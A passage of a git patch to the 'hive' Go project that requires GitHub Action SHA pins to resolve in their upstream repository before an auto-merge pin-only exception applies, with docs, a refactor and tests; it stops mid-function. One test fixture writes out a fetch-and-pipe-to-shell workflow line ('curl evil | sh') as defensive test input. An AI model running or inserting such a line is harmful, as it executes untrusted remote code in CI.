From db58e1a28dff75468a118da283919521a4a80bf3 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Tue, 3 Nov 2026 16:33:29 +0000 Subject: [PATCH 01/87] =?UTF-8?q?=F0=9F=90=9B=20fix(automerge):=20verify?= =?UTF-8?q?=20action-sha=20pins=20resolve=20upstream=20before=20the=20pin-?= =?UTF-8?q?only=20exception=20admits=20them=20(#16435)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› fix(automerge): verify action-sha pins resolve upstream before the pin-only exception admits them ClassifyPinOnlyActions returns the accepted action-sha pins; the pin-only exception resolves each against its upstream repo (tag ref with annotated-tag dereference, or ancestry of the default branch) and holds on any failure. The pin-only and DCO commit listings use the exported pkg/github.ListPRRepositoryCommits helper. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * πŸ§ͺ test(intent): separate pin-replacement pairs with context in accepted-pins fixture The fixture placed two -/+ pairs back-to-back, which the bounded pin grammar correctly refuses as an interleaved replacement. Insert a context line between the pairs and widen the hunk header to 5/5 so the fixture exercises the dedup path it was written for. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --------- Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- ...security-pin-only-upstream-reachability.md | 1 + src/docs/hive-merge.md | 18 ++- src/docs/operator-reference/README.md | 4 +- .../github/automerge/automerge_human_paths.go | 111 ++++++++++++++---- .../automerge/automerge_human_paths_test.go | 76 +++++++++++- .../github/automerge/automerge_stage_dco.go | 17 +-- .../automerge/pr_approve_command_test.go | 8 ++ src/pkg/github/pr_commits.go | 24 ++-- src/pkg/github/pr_commits_test.go | 35 ++++++ src/pkg/intent/pin_only.go | 110 ++++++++++++----- src/pkg/intent/pin_only_test.go | 36 ++++++ 11 files changed, 355 insertions(+), 85 deletions(-) create mode 100644 changelog.d/security-pin-only-upstream-reachability.md diff --git a/changelog.d/security-pin-only-upstream-reachability.md b/changelog.d/security-pin-only-upstream-reachability.md new file mode 100644 index 0000000000..4d4147a699 --- /dev/null +++ b/changelog.d/security-pin-only-upstream-reachability.md @@ -0,0 +1 @@ +- The opt-in `auto_merge.human_merge_pin_only` exception now admits an `action-sha` pin only when the new SHA is anchored in its upstream action repository: with a `# vX[.Y[.Z]]` comment the upstream `tags/vX…` ref (annotated tags dereferenced) must point at exactly that SHA, otherwise the SHA must be an ancestor of the upstream default branch ([#16399](https://github.com/hivecommons/hive/issues/16399)). GitHub resolves a `uses:` SHA across the whole fork network, so a pin-shaped line could otherwise point at a commit pushed to any fork. Any 404, mismatch, rate limit or API error keeps the human-merge-path hold; repos without the key are unaffected. The pin-only commit check now uses the shared PR commit lister ([#16401](https://github.com/hivecommons/hive/issues/16401)). diff --git a/src/docs/hive-merge.md b/src/docs/hive-merge.md index d2fe04def3..9b9fffb750 100644 --- a/src/docs/hive-merge.md +++ b/src/docs/hive-merge.md @@ -196,9 +196,16 @@ commit to the listed identity, since a spoofed committer email is not on the signer's account and fails verification. Dependabot and Renovate commits are web-flow committed and signed; a human trusted author must commit and sign as themselves. A commit list that cannot be fetched, is empty, is longer than -GitHub serves, or does not end at the head holds the PR. The diff check reuses the file list the +GitHub serves, or does not end at the head holds the PR. Finally every new +`action-sha` pin must be anchored in its upstream action repository, because +GitHub resolves a `uses:` SHA across the whole fork network: with a +`# vX[.Y[.Z]]` comment, the upstream `tags/vX…` ref (annotated tags +dereferenced) must point at exactly the new SHA; without one, the new SHA must +be an ancestor of the upstream default branch. A 404, mismatch, rate limit or +any other API error holds the PR. Image digests are content-addressed and need +no such check. The diff check reuses the file list the path gate already fetches, so a PR the classifier refuses costs no extra API -call; the commit list is read only once the diff qualifies. A repo without an +call; the commit list and upstream refs are read only once the diff qualifies. A repo without an enabled entry behaves exactly as before. `/hive approve` applies the same check, so its reply never contradicts the lane. Any other outcome holds the PR as before. The exception only prevents a new path hold: a PR that already carries `hold` @@ -228,10 +235,9 @@ permission/credential/signing text and non-pin edits fail closed. This classifier proves **syntax only**, not authenticated identity, exact-head binding, file-list completeness, semantic interpretation or review of upstream references. The sweep supplies the author (GitHub's PR author login), the -verified-commit provenance of the head and file-list completeness itself; it -does not yet anchor a replaced action SHA to the upstream action's own refs -(GitHub resolves `uses:` SHAs across the fork network; the open second item -of #16399); the relay integration remains #16265; +verified-commit provenance of the head, file-list completeness and the +upstream anchoring of each action SHA itself (#16399); the relay integration +remains #16265; attribution and safe hold release are tracked in #16269. None of the schema or classifier APIs grants permission to merge or clears a hold. Native required checks and producer bindings, freshness, current reviews, substantive diff --git a/src/docs/operator-reference/README.md b/src/docs/operator-reference/README.md index 79f9785b5f..b769668ea0 100644 --- a/src/docs/operator-reference/README.md +++ b/src/docs/operator-reference/README.md @@ -253,7 +253,7 @@ Go callers keep reading `cfg.Agents`, `cfg.Governor.Gateways` and so on through | `project.label_driven_supersede_park_actors` | `[]` (off) | Automation logins (for example a lifecycle bot running as `github-actions[bot]`) whose park labels a later trusted acceptance supersedes on label-driven repos: Hive removes the label, says so in the release comment, and releases the issue ([#13605](https://github.com/hivecommons/hive/issues/13605)). Park labels added by people, by unlisted bots, or by a listed bot after the acceptance still block; `hold` is never superseded. Per-repo override: `project.repo_policies[].label_driven_supersede_park_actors`. | | `auto_merge.allow_unprotected_base` | Deprecated no-op. | Accepted so older configs keep loading. `hive-merge` now merges into any protected or unprotected branch the App can write, subject to the CI-evidence gate and GitHub's own merge rules. | | `auto_merge.no_ci_ok` | Empty by default. | Explicit repo list whose zero-CI merge-request verdict may pass; failing or pending CI evidence is still enforced. | -| `auto_merge.human_merge_pin_only` | Unset (off); enforced by the automerge sweep lanes and `/approve` (#16266), **not yet by the `hive-merge` relay** (#16265). | Per-repo schema for `enabled`, `paths`, `kinds` (`action-sha`, `image-digest`, `version-pin`) and `trusted_authors`. Enabled entries require all three lists. The sweep does not place a human-merge-path hold on a PR whose author is in `trusted_authors`, whose complete diff (every changed file, guarded or not) is pin replacements, and whose every commit is authored by a `trusted_authors` login with a GitHub-verified signature; it never clears an existing hold. See [hive-merge.md](../hive-merge.md) for grammar, restrictions and outstanding integration/deployment requirements (#16242). | +| `auto_merge.human_merge_pin_only` | Unset (off); enforced by the automerge sweep lanes and `/approve` (#16266), **not yet by the `hive-merge` relay** (#16265). | Per-repo schema for `enabled`, `paths`, `kinds` (`action-sha`, `image-digest`, `version-pin`) and `trusted_authors`. Enabled entries require all three lists. The sweep does not place a human-merge-path hold on a PR whose author is in `trusted_authors`, whose complete diff (every changed file, guarded or not) is pin replacements, whose every commit is authored by a `trusted_authors` login with a GitHub-verified signature, and whose every new action SHA resolves in its upstream action repository (the `# vN` tag points at it, or it is on the default branch; #16399); it never clears an existing hold. See [hive-merge.md](../hive-merge.md) for grammar, restrictions and outstanding integration/deployment requirements (#16242). | | `auto_merge.human_merge_paths` | Unset (off). | Per-repo map of `owner/repo` to glob patterns (same syntax as `intent.guardrail_path_patterns`) for paths a person must merge. Applies to every merge lane (App self-merge, trusted-author, label-queued, merge-request relay) whatever the intent tier; a matching PR is held with one comment, and an incomplete changed-file list fails closed. Details in the sweep key table below. | | `auto_merge.human_merge_title_prefixes` | `["⚠️", "⚠"]` | Title prefixes (after trimming) that mark a PR as a breaking change a person must merge. Every auto-merge lane and the merge train skip the PR; the tracker parks it at 090 *Ready for human merge Β· human merge*. Set to `[]` to disable. | | `auto_merge.human_merge_labels` | `["needs-owner-merge"]` | Labels (case-insensitive) that mark a PR a person must merge; same effect as the title prefixes. Set to `[]` to disable. | @@ -526,7 +526,7 @@ auto_merge: | Repository key | Case-insensitive `owner/repo`; configure each consumer separately. | | `enabled` | Absent/false preserves the existing human-merge-path gate. | | `paths` | Explicit allowed paths within the protected path matches, not a replacement for `human_merge_paths`. Required when enabled. | -| `kinds` | Explicit subset of `action-sha`, `image-digest`, `version-pin`; unknown kinds rejected. Required when enabled. | +| `kinds` | Explicit subset of `action-sha`, `image-digest`, `version-pin`; unknown kinds rejected. Required when enabled. An `action-sha` pin is admitted only when the upstream repo's `tags/` (annotated tags dereferenced) points at the new SHA, or, without a comment, the SHA is an ancestor of the upstream default branch; any lookup failure holds. | | `trusted_authors` | Explicit author allowlist; required when enabled. Matched against the PR author login and against the author login of every commit behind the head; each commit must also be committed by GitHub (`web-flow`) or by a trusted login and carry a GitHub-verified signature, since GitHub verifies the committer, not the author (web-flow-committed bot commits qualify; human authors must commit and sign as themselves). Not permission to trust arbitrary bot-looking logins. | Edit the controller's active `hive.yaml` seed, not the consumer image repo. diff --git a/src/pkg/github/automerge/automerge_human_paths.go b/src/pkg/github/automerge/automerge_human_paths.go index 3f7a29655c..08025015a2 100644 --- a/src/pkg/github/automerge/automerge_human_paths.go +++ b/src/pkg/github/automerge/automerge_human_paths.go @@ -89,8 +89,9 @@ func (c *Engine) currentHumanMergePinOnly(repo string) (config.PinOnlyException, // and stays held (#16326). Once the diff is accepted, every commit behind the // head must itself be provably the trusted author's: the PR author login only // says who opened the PR, and any principal with write access can push onto -// that branch afterwards. The sweep lanes and /approve share this helper so -// they never disagree. +// that branch afterwards. Finally each new action SHA must resolve in its +// upstream repository, not merely somewhere in its fork network. The sweep +// lanes and /approve share this helper so they never disagree. func (c *Engine) humanMergePinOnlyExempt(ctx context.Context, owner, repo string, pr *gh.PullRequest, files []intent.ChangedFile, matches []string) (bool, string) { if len(matches) == 0 || pr == nil { return false, "" @@ -108,13 +109,87 @@ func (c *Engine) humanMergePinOnlyExempt(ctx context.Context, owner, repo string if reported := pr.GetChangedFiles(); reported <= 0 || reported != len(files) { return false, "complete changed-file list not proven" } - if ok, why := intent.ClassifyPinOnly(files, matches, policy.Spec()); !ok { + ok, why, pins := intent.ClassifyPinOnlyActions(files, matches, policy.Spec()) + if !ok { return false, why } if why := c.pinOnlyCommitsTrusted(ctx, owner, repo, pr, policy); why != "" { return false, why } - return true, "all changes are approved pin replacements by verified trusted-author commits" + if why := c.pinOnlyActionPinsUpstream(ctx, pins); why != "" { + return false, why + } + return true, "all changes are approved pin replacements by verified trusted-author commits, anchored upstream" +} + +// pinOnlyMaxTagDepth bounds annotated-tag dereferencing (a tag of a tag). +const pinOnlyMaxTagDepth = 3 + +// pinOnlyActionPinsUpstream returns "" when every accepted action-sha pin is +// a commit of its upstream action repository. GitHub resolves a `uses:` SHA +// through the whole fork network, so a 40-hex commit pushed to any fork of +// owner/repo is a valid pin; the classifier sees syntax only. A pin with a +// version comment must be exactly what tags/ (dereferenced through +// annotated tags) points at; one without must be an ancestor of the upstream +// default branch. Any API error, 404 or mismatch fails closed with a reason. +// Image digests are content-addressed and need no such anchor. +func (c *Engine) pinOnlyActionPinsUpstream(ctx context.Context, pins []intent.ActionPin) string { + if len(pins) == 0 { + return "" + } + ctx = hgithub.WithRESTCaller(ctx, "hive:automerge_pin_only") + for _, pin := range pins { + if why := c.pinOnlyActionPinUpstream(ctx, pin); why != "" { + return fmt.Sprintf("action %s@%s: %s", pin.Repo, stagelabels.ShortSHA(pin.SHA), why) + } + } + return "" +} + +func (c *Engine) pinOnlyActionPinUpstream(ctx context.Context, pin intent.ActionPin) string { + owner, repo, ok := strings.Cut(pin.Repo, "/") + if !ok || owner == "" || repo == "" || pin.SHA == "" { + return "upstream repository or commit unknown" + } + if pin.Version != "" { + ref, _, err := c.gh.Git.GetRef(ctx, owner, repo, "tags/"+pin.Version) + if err != nil { + return fmt.Sprintf("tag %s could not be resolved upstream: %v", pin.Version, err) + } + obj := ref.GetObject() + for depth := 0; obj.GetType() == "tag"; depth++ { + if depth == pinOnlyMaxTagDepth { + return fmt.Sprintf("tag %s nests too deeply", pin.Version) + } + tag, _, err := c.gh.Git.GetTag(ctx, owner, repo, obj.GetSHA()) + if err != nil { + return fmt.Sprintf("annotated tag %s could not be resolved upstream: %v", pin.Version, err) + } + obj = tag.GetObject() + } + if obj.GetType() != "commit" || !strings.EqualFold(obj.GetSHA(), pin.SHA) { + return fmt.Sprintf("upstream tag %s does not point at the pinned commit", pin.Version) + } + return "" + } + upstream, _, err := c.gh.Repositories.Get(ctx, owner, repo) + if err != nil { + return fmt.Sprintf("upstream repository could not be read: %v", err) + } + branch := upstream.GetDefaultBranch() + if branch == "" { + return "upstream default branch unknown" + } + // base=pin, head=default: "ahead" or "identical" means the pinned commit + // is an ancestor of (reachable from) the upstream default branch. + cmp, _, err := c.gh.Repositories.CompareCommits(ctx, owner, repo, pin.SHA, branch, &gh.ListOptions{PerPage: 1}) + if err != nil { + return fmt.Sprintf("pinned commit could not be compared with upstream %s: %v", branch, err) + } + if status := cmp.GetStatus(); status != "ahead" && status != "identical" { + return fmt.Sprintf("pinned commit is not on upstream %s (compare status %q)", branch, status) + } + return "" } func pinOnlyTrustedLogin(policy config.PinOnlyException, login string) bool { @@ -130,10 +205,6 @@ func pinOnlyTrustedLogin(policy config.PinOnlyException, login string) bool { return false } -// pinOnlyCommitsMaxPages bounds the commit listing; GitHub serves at most 250 -// commits for a PR, and a pin bump has one or two. -const pinOnlyCommitsMaxPages = 3 - // pinOnlyCommitsTrusted returns "" when every commit of pr is attributed to a // trusted author, was committed by a trusted login or by GitHub itself // (web-flow), carries a signature GitHub verified, and the current head is @@ -153,21 +224,12 @@ func (c *Engine) pinOnlyCommitsTrusted(ctx context.Context, owner, repo string, return "PR head SHA unknown" } ctx = hgithub.WithRESTCaller(ctx, "hive:automerge_pin_only") - opts := &gh.ListOptions{PerPage: 100} - var all []*gh.RepositoryCommit - for page := 0; ; page++ { - if page == pinOnlyCommitsMaxPages { - return "PR commit list too long to verify" - } - commits, resp, err := c.gh.PullRequests.ListCommits(ctx, owner, repo, pr.GetNumber(), opts) - if err != nil { - return fmt.Sprintf("PR commits could not be listed: %v", err) - } - all = append(all, commits...) - if resp == nil || resp.NextPage == 0 { - break - } - opts.Page = resp.NextPage + all, complete, err := hgithub.ListPRRepositoryCommits(ctx, c.gh, owner, repo, pr.GetNumber()) + if err != nil { + return fmt.Sprintf("PR commits could not be listed: %v", err) + } + if !complete { + return "PR commit list too long to verify" } if len(all) == 0 { return "PR has no commits to verify" @@ -217,7 +279,8 @@ func pinOnlyTrustedCommitter(policy config.PinOnlyException, login string) bool // ticks) and returns autoMergeReasonHumanMergePath, unless the repo's enabled // auto_merge.human_merge_pin_only exception qualifies the PR (trusted author, // complete list, every changed line a pin replacement, every commit a -// verified trusted-author commit) and returns ("", nil). +// verified trusted-author commit, every action SHA anchored in its upstream +// repository) and returns ("", nil). func (c *Engine) humanMergePathGate(ctx context.Context, displayRepo, owner, repo string, pr *gh.PullRequest) (string, error) { patterns := c.currentHumanMergePaths(owner + "/" + repo) if len(patterns) == 0 { diff --git a/src/pkg/github/automerge/automerge_human_paths_test.go b/src/pkg/github/automerge/automerge_human_paths_test.go index fcf4192cfc..748c05b4e9 100644 --- a/src/pkg/github/automerge/automerge_human_paths_test.go +++ b/src/pkg/github/automerge/automerge_human_paths_test.go @@ -36,8 +36,13 @@ type humanPathFront struct { commits []map[string]any commitsStatus int commitsHits int - labels []string - comments []string + // upstream serves GET /repos/actions/checkout by suffix: a map + // value is the JSON body, an int a status code, a missing suffix 404. + // nil serves tags/v5 as a lightweight tag at testPinNewSHA. + upstream map[string]any + upstreamHits int + labels []string + comments []string } // testPinCommit is one PR commit as the gate sees it: author login, committer @@ -89,6 +94,20 @@ func newHumanPathFront(t *testing.T, backend string, f *humanPathFront) *httptes commits = []map[string]any{testPinCommit("sha7", "renovate-bot", true)} } json.NewEncoder(w).Encode(commits) + case r.Method == http.MethodGet && strings.HasPrefix(r.URL.Path, "/repos/actions/checkout"): + f.upstreamHits++ + upstream := f.upstream + if upstream == nil { + upstream = map[string]any{"/git/ref/tags/v5": testPinRef("commit", testPinNewSHA)} + } + switch v := upstream[strings.TrimPrefix(r.URL.Path, "/repos/actions/checkout")].(type) { + case nil: + w.WriteHeader(http.StatusNotFound) + case int: + w.WriteHeader(v) + default: + json.NewEncoder(w).Encode(v) + } case r.Method == http.MethodPost && r.URL.Path == "/repos/acme/widget/issues/7/labels": var labels []string _ = json.NewDecoder(r.Body).Decode(&labels) @@ -368,8 +387,9 @@ func TestSetHumanMergePathsNilEngine(t *testing.T) { // Pin-only exception (#16266): fixtures for calling humanMergePathGate on a PR // whose files carry patches. var ( + testPinNewSHA = strings.Repeat("b", 40) testPinOldLine = " - uses: actions/checkout@" + strings.Repeat("a", 40) + " # v4" - testPinNewLine = " - uses: actions/checkout@" + strings.Repeat("b", 40) + " # v5" + testPinNewLine = " - uses: actions/checkout@" + testPinNewSHA + " # v5" ) func testPinFile(name string) map[string]any { @@ -377,6 +397,19 @@ func testPinFile(name string) map[string]any { "patch": "@@ -3 +3 @@\n-" + testPinOldLine + "\n+" + testPinNewLine} } +// testPinFileNoComment is a pin bump without a version comment, which the +// gate anchors on the upstream default branch instead of a tag. +func testPinFileNoComment(name string) map[string]any { + strip := func(line string) string { return line[:strings.Index(line, " #")] } + return map[string]any{"filename": name, "status": "modified", "additions": 1, "deletions": 1, + "patch": "@@ -3 +3 @@\n-" + strip(testPinOldLine) + "\n+" + strip(testPinNewLine)} +} + +// testPinRef is a git ref (or annotated tag) object pointing at sha. +func testPinRef(kind, sha string) map[string]any { + return map[string]any{"object": map[string]any{"type": kind, "sha": sha}} +} + func pinOnlyFor(repo string, ex config.PinOnlyException) func(string) (config.PinOnlyException, bool) { return func(r string) (config.PinOnlyException, bool) { if strings.EqualFold(r, repo) { @@ -401,11 +434,15 @@ func TestHumanMergePathGatePinOnlyException(t *testing.T) { entries []map[string]any commits []map[string]any commitsStatus int + upstream map[string]any wantHold bool wantHits int // wantCommitHits is how often the commit list is read: only a diff // the classifier accepts costs that call. wantCommitHits int + // wantUpstreamHits is how many upstream action reads were made: only + // after the diff and every commit are accepted. + wantUpstreamHits int }{ {name: "paths unconfigured: no fetch, no hold", pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}}, {name: "exception unconfigured: held as before", paths: humanPathsFor("acme/widget", testHumanMergePattern), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, wantHold: true, wantHits: 1}, @@ -432,6 +469,30 @@ func TestHumanMergePathGatePinOnlyException(t *testing.T) { commits: []map[string]any{}, wantHold: true, wantHits: 1, wantCommitHits: 1}, {name: "trusted pure pin, commit list unavailable: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, commitsStatus: http.StatusBadGateway, wantHold: true, wantHits: 1, wantCommitHits: 1}, + {name: "upstream tag points elsewhere: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + upstream: map[string]any{"/git/ref/tags/v5": testPinRef("commit", strings.Repeat("c", 40))}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 1}, + {name: "upstream tag missing (fork-network SHA): held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + upstream: map[string]any{}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 1}, + {name: "upstream annotated tag dereferenced to the pin: not held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + upstream: map[string]any{"/git/ref/tags/v5": testPinRef("tag", "t1"), "/git/tags/t1": testPinRef("tag", "t2"), "/git/tags/t2": testPinRef("commit", testPinNewSHA)}, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 3}, + {name: "upstream annotated tag points elsewhere: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + upstream: map[string]any{"/git/ref/tags/v5": testPinRef("tag", "t1"), "/git/tags/t1": testPinRef("commit", strings.Repeat("c", 40))}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 2}, + {name: "upstream annotated tag unreadable: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + upstream: map[string]any{"/git/ref/tags/v5": testPinRef("tag", "t1")}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 2}, + {name: "upstream tag chain too deep: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + upstream: map[string]any{"/git/ref/tags/v5": testPinRef("tag", "t1"), "/git/tags/t1": testPinRef("tag", "t1")}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 4}, + {name: "no version comment, pin on upstream default branch: not held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFileNoComment(workflow)}, + upstream: map[string]any{"": map[string]any{"default_branch": "main"}, "/compare/" + testPinNewSHA + "...main": map[string]any{"status": "ahead"}}, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 2}, + {name: "no version comment, pin is upstream default head: not held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFileNoComment(workflow)}, + upstream: map[string]any{"": map[string]any{"default_branch": "main"}, "/compare/" + testPinNewSHA + "...main": map[string]any{"status": "identical"}}, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 2}, + {name: "no version comment, pin diverged from upstream default: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFileNoComment(workflow)}, + upstream: map[string]any{"": map[string]any{"default_branch": "main"}, "/compare/" + testPinNewSHA + "...main": map[string]any{"status": "diverged"}}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 2}, + {name: "no version comment, compare fails: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFileNoComment(workflow)}, + upstream: map[string]any{"": map[string]any{"default_branch": "main"}, "/compare/" + testPinNewSHA + "...main": http.StatusBadGateway}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 2}, + {name: "no version comment, upstream default branch unknown: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFileNoComment(workflow)}, + upstream: map[string]any{"": map[string]any{}}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 1}, + {name: "no version comment, upstream repository unreadable: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFileNoComment(workflow)}, + upstream: map[string]any{}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 1}, {name: "trusted pin plus non-pin line: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{{ "filename": workflow, "status": "modified", "additions": 2, "deletions": 1, "patch": "@@ -3 +3,2 @@\n-" + testPinOldLine + "\n+" + testPinNewLine + "\n+ - run: curl evil | sh", @@ -452,7 +513,7 @@ func TestHumanMergePathGatePinOnlyException(t *testing.T) { w.WriteHeader(http.StatusNotFound) })) defer backend.Close() - front := &humanPathFront{fileEntries: tc.entries, commits: tc.commits, commitsStatus: tc.commitsStatus} + front := &humanPathFront{fileEntries: tc.entries, commits: tc.commits, commitsStatus: tc.commitsStatus, upstream: tc.upstream} srv := newHumanPathFront(t, backend.URL, front) defer srv.Close() @@ -476,6 +537,13 @@ func TestHumanMergePathGatePinOnlyException(t *testing.T) { if front.commitsHits != tc.wantCommitHits { t.Fatalf("commit list hits = %d, want %d", front.commitsHits, tc.wantCommitHits) } + wantUpstream := tc.wantUpstreamHits + if wantUpstream == 0 && !tc.wantHold && tc.upstream == nil && tc.wantCommitHits > 0 { + wantUpstream = 1 // the default lightweight tags/v5 read + } + if front.upstreamHits != wantUpstream { + t.Fatalf("upstream hits = %d, want %d", front.upstreamHits, wantUpstream) + } if !tc.wantHold { if reason != "" || len(front.labels) != 0 || len(front.comments) != 0 { t.Fatalf("reason = %q, labels = %v, comments = %d; want no hold", reason, front.labels, len(front.comments)) diff --git a/src/pkg/github/automerge/automerge_stage_dco.go b/src/pkg/github/automerge/automerge_stage_dco.go index 4a540cfb0d..9729023de2 100644 --- a/src/pkg/github/automerge/automerge_stage_dco.go +++ b/src/pkg/github/automerge/automerge_stage_dco.go @@ -7,6 +7,7 @@ import ( "strings" gh "github.com/google/go-github/v72/github" + hgithub "github.com/hivecommons/hive/pkg/github" "github.com/hivecommons/hive/pkg/stagelabels" ) @@ -104,18 +105,10 @@ func (c *Engine) stageDCO(ctx context.Context, store *stagelabels.Store, key str } } } - opts := &gh.ListOptions{PerPage: 100} - var all []*gh.RepositoryCommit - for page := 0; page < stageDCOMaxPages; page++ { - commits, resp, err := c.gh.PullRequests.ListCommits(ctx, obs.Owner, obs.Repo, obs.Number, opts) - if err != nil { - return dcoStats{}, fmt.Errorf("listing commits for %s#%d: %w", obs.Display, obs.Number, err) - } - all = append(all, commits...) - if resp == nil || resp.NextPage == 0 { - break - } - opts.Page = resp.NextPage + // A list cut off at GitHub's cap is judged as read, as before. + all, _, err := hgithub.ListPRRepositoryCommits(ctx, c.gh, obs.Owner, obs.Repo, obs.Number) + if err != nil { + return dcoStats{}, err } return dcoCommitStatsDetailedForAuthor(all, c.transport.AppBotLogin(), obs.Author), nil } diff --git a/src/pkg/github/automerge/pr_approve_command_test.go b/src/pkg/github/automerge/pr_approve_command_test.go index 5b775309b7..71138eeac2 100644 --- a/src/pkg/github/automerge/pr_approve_command_test.go +++ b/src/pkg/github/automerge/pr_approve_command_test.go @@ -108,9 +108,11 @@ func TestPRApproveReplyPinOnlyMatchesSweep(t *testing.T) { name, patch string trusted []string commits []*gh.RepositoryCommit + tagSHA string // upstream tags/v5 target; "" means testPinNewSHA want string }{ {name: "trusted pure pin", patch: pin, trusted: []string{testHiveAppBotLogin}, commits: verifiedHead, want: "does not consume it on a pull request"}, + {name: "upstream tag points elsewhere", patch: pin, trusted: []string{testHiveAppBotLogin}, commits: verifiedHead, tagSHA: strings.Repeat("c", 40), want: "requires a person to merge manually"}, {name: "untrusted author", patch: pin, trusted: []string{"someone-else"}, want: "requires a person to merge manually"}, {name: "missing patch", trusted: []string{testHiveAppBotLogin}, want: "requires a person to merge manually"}, {name: "head commit pushed by another login", patch: pin, trusted: []string{testHiveAppBotLogin}, commits: []*gh.RepositoryCommit{ @@ -140,6 +142,12 @@ func TestPRApproveReplyPinOnlyMatchesSweep(t *testing.T) { t.Errorf("commit list read for a diff the classifier refuses") } json.NewEncoder(w).Encode(tc.commits) + case "/repos/actions/checkout/git/ref/tags/v5": + sha := tc.tagSHA + if sha == "" { + sha = testPinNewSHA + } + json.NewEncoder(w).Encode(testPinRef("commit", sha)) default: t.Errorf("unexpected read: %s", r.URL.Path) w.WriteHeader(http.StatusNotFound) diff --git a/src/pkg/github/pr_commits.go b/src/pkg/github/pr_commits.go index fddb29fd32..1fc937e4bf 100644 --- a/src/pkg/github/pr_commits.go +++ b/src/pkg/github/pr_commits.go @@ -97,22 +97,30 @@ func (c *Client) ListPRCommits(ctx context.Context, repo string, number int) ([] // commits, oldest first, nils dropped β€” for callers that need the parents, // the git identities, or the signature verification. func (c *Client) listPRRepositoryCommits(ctx context.Context, owner, repoName string, number int) ([]*gh.RepositoryCommit, error) { + out, _, err := ListPRRepositoryCommits(ctx, c.client, owner, repoName, number) + return out, err +} + +// ListPRRepositoryCommits lists a PR's raw commits, oldest first, nils +// dropped, reading at most maxPRCommitPages pages of 100. complete is false +// when GitHub still offered a further page at that cap, so a caller that must +// see every commit can fail closed instead of judging a truncated list. +func ListPRRepositoryCommits(ctx context.Context, client *gh.Client, owner, repoName string, number int) (commits []*gh.RepositoryCommit, complete bool, err error) { opts := &gh.ListOptions{PerPage: 100} - var out []*gh.RepositoryCommit for page := 0; page < maxPRCommitPages; page++ { - commits, resp, err := c.client.PullRequests.ListCommits(ctx, owner, repoName, number, opts) + batch, resp, err := client.PullRequests.ListCommits(ctx, owner, repoName, number, opts) if err != nil { - return nil, fmt.Errorf("listing commits for %s/%s#%d: %w", owner, repoName, number, err) + return nil, false, fmt.Errorf("listing commits for %s/%s#%d: %w", owner, repoName, number, err) } - for _, rc := range commits { + for _, rc := range batch { if rc != nil { - out = append(out, rc) + commits = append(commits, rc) } } - if resp.NextPage == 0 { - break + if resp == nil || resp.NextPage == 0 { + return commits, true, nil } opts.Page = resp.NextPage } - return out, 